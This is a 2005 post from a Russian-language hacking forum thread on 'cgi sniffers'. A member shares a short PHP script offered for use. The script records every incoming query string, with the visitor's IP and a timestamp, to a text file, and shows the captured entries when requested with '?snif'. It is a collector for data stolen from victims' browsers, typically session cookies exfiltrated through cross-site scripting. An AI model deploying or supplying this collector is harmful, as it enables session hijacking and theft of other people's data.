Тема: cgi-Сниффер
Показать сообщение отдельно

  #7  
Старый 29.01.2005, 14:49
Fr1k
Участник форума
Регистрация: 11.06.2004
Сообщений: 266
Провел на форуме:
15191

Репутация: 13
Отправить сообщение для Fr1k с помощью ICQ
По умолчанию

для нчала держи простой сниф
я думаю разберёси... если нет пиши

<? $datafile="data.txt";
$snif=$_SERVER["QUERY_STRING"];
$snif=urldecode($snif);
$ip=$_SERVER["REMOTE_ADDR"];
if($snif=="snif") {
$f=@file($datafile);
print "<table border=1 width=100%><tr><td width=30%>Время</td><td>Данные</td><td width=20%>ИП</td></td>";
$i=1;
if($f) foreach($f as $v) {print "$v";$i++;}
print "$i lines total</table>";
} else {
$f=@file($datafile);
$datas=count($f);
$fw=fopen($datafile,'w');
fputs($fw,"<tr><td>".date ("l dS of F Y h:i:s A")."</td><td>$snif</td><td>$ip</td></tr>\n");
if($datas<40){if($f) foreach($f as $v) fputs($fw,$v);
}else{
for($i=0;$i<40;$i++) fputs($fw,$f[$i]);}
fclose($fw);}?>
 
Ответить с цитированием